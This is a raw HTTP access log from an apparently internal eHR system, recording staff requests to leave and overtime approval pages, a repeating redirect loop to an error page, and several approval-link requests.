"http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.131.236 - - [01/Dec/2025:15:20:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7257 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.131.236 - - [01/Dec/2025:15:20:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7257 192.168.11.108 - - [01/Dec/2025:15:21:36 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:36 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132663%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132663&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132663%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132663&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 192.168.11.108 - - [01/Dec/2025:15:21:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:49 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:15:21:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:15:21:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 100.64.0.1 - - [01/Dec/2025:15:28:30 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:15:28:30 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:15:28:47 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:15:28:47 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [01/Dec/2025:15:36:23 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB5344A9AAA068DB3379461ABFF7F30747719A0F01627F0537215D348E2DE462615BFF6233577CF21425 HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:15:36:23 +0800] "HEAD /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB5344A9AAA068DB3379461ABFF7F30747719A0F01627F0537215D348E2DE462615BFF6233577CF21425 HTTP/1.1" 200 - 100.64.0.1 - - [01/Dec/2025:15:36:26 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB5344A9AAA068DB3379461ABFF7F30747719A0F01627F0537215D348E2DE462615BFF6233577CF21425 HTTP/1.1" 200 4166 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 